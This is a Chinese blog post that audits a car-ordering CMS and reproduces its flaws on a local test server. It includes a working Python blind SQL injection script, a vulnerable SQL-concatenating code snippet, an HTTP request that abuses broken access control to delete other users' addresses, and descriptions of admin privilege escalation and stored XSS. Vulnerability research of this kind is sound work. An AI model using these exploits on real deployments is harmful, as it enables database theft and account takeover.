对某CMS的审计

时间:2022-07-22
本文章向大家介绍对某CMS的审计,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

太久没有关注各大安全博客上的内容了(当咸鱼是真的快乐呀~),今天瞎逛,发现有师傅发了一篇关于某CMS审计的文章,我的确是几个月没有审过代码了,就寻思着跟着这篇文章复现一下找找感觉,然后顺便发现了一些这个CMS的其他问题

前台SQLi

前台快速订车功能处存在sql注入

漏洞函数位置:car-weishang-1.0.jar!/com/weishang/my/service/ShopService.class-->getGoodsListByExtendCat()

漏洞代码如下:

由上图可见,cat_ids,type_ids, brand_ids这些变量直接拼接到sql语句中,如果这些变量可控那么就存在漏洞,我们看看getGoodsListByExtendCat方法在哪里被调用了,最终找到它在com/weishang/my/action/GoodsList.java-->doGet() 方法中被调用,如下39行处:

可以看到tem_cat_id,tem_type_id, tem_brand_id等参数的值都直接来自GET请求,所以此处漏洞成立,但是由于没有回显点且无法使用报错注入,我们只能采用盲注的方式,以brand_id参数为例,写个脚本跑一跑数据库名

# -*- coding:utf-8 -*-

import requests
from string import printable
chars = printable

vul_url = "http://172.16.137.12:8080/opencarrun/goods?brand_id=1)%20or%20substr(database(),{},1)=%27{}%27%20limit%201%23&type_id=&cat_id=1&menuId=7&price=x&order=extension"
i = 0
result = ""
proxy = {'http':'http://127.0.0.1:8282'}
while True:
    i += 1
    temp = result
    for char in chars:
        target = vul_url.format(i, char)
        resp = requests.get(target, proxies=proxy)
        # print(resp.text)
        if '预 定' in resp.text:
            result += char
            break
    print(result)
    if temp == result:
        break

运行结果如下,成功跑出数据库名

后台SQLi

后台删除外聘员工功能处存在sql注入

漏洞函数:car-weishang-1.0.jar!comweishangmyadminDeleteAunt.class-->doGet()

代码如下:

我们把目光放到第八行,可以看到adminid来自GET请求,然后adminid传入了deleteAdmin()函数,我们跟进

public String deleteAunt(String ids) {
        String sql = "delete from aunt where aunt_id in (" + ids + ")";
        int flag = this.jdbc.executeUpdate(sql);
        this.jdbc.close();
        return flag > 0 ? "ok" : "bad";
    }

代码很简单,就是执行了删除操作,并且ids参数直接拼接到了sql语句,也就导致了漏洞的发生,同样的,由于没有回显且无法使用报错注入,只能用盲注的方式跑数据,这里我就不写脚本了,直接给两个验证payload

用户删除收货地址处越权

用户可通过修改address_id参数删除任意用户的收货地址

POST /opencarrun/wx/wxDeleteAddress HTTP/1.1
Host: 172.16.137.12:8080
Content-Length: 14
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.16.137.12:8080
Referer: http://172.16.137.12:8080/opencarrun/pc/pcUserAddress
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=6E94031AC6467DB0383D8B397550A50D; store_id=42; type_id=1; time=2020-06-11
Connection: close

address_id=694

漏洞函数:opencar/WebRoot/WEB-INF/lib/car-weishang-1.0.jar!/com/weishang/action/admin/DeleteAdmin.class-->doGet()

第8 9行,获取address_id,然后传入直接传入deleteAddress(),没有判断该地址是否属于该用户,导致漏洞发生

后台管理员管理模块越权

低权限用户可以添加、删除超级管理员账户

首先,我们在后台登陆超级管理员账户,创建一个客服级别的账号

然后我们登陆这个客服账号,默认情况下客服账号是没有任何权限的,所以,客服登陆的后台长这样

就是啥功能都没有,但是,我们可以构造添加超级管理的数据包,然后用客服的cookie发送这个数据包

登陆超级管理员账号,可以看到多了一个名为“阿信真帅yo”的超级管理员账户

除了添加管理员,删除管理员一样是存在越权的。

存储型XSS

整个系统,没有做任何关于xss的防护,所以只要是有输入输出的地方基本都存在XSS,就拿用户添加收货地址这一功能来说,联系人处插入payload

成功弹窗,看来我是靓仔的事情瞒不住了!

其他缺陷

还有一些小问题,比如sessionid固定(登陆前以及登陆后sessionid不变,这也是个安全隐患),还有就是用户注册处发送短信的接口可以被恶意利用实现短信轰炸,后台登陆验证码不变导致可爆破等等。

除了上面说到的具体的漏洞点以外,该系统还有很多其他地方的XSS以及SQL注入,实在是懒得写出来了,不过挖这个系统的SQL注入有个技巧,该系统基本上所有的sql操作都在WebRoot/WEB-INF/lib/weishang-1.4.jar!/com/weishang/service/AdminService.class 以及WebRoot/WEB-INF/lib/car-weishang-1.0.jar!/com/weishang/my/service/ShopService.class这两个类里,而系统作者大多数sql语句都是使用的预编译的方式,但是有一些sql语句由于某些原因使用了直接拼接的方式,这些直接拼接的地方都是潜在的问题,我大概看了一下,直接拼接的地方还是有很多的,有兴趣的朋友可以练练手。需要该系统的可以加我vx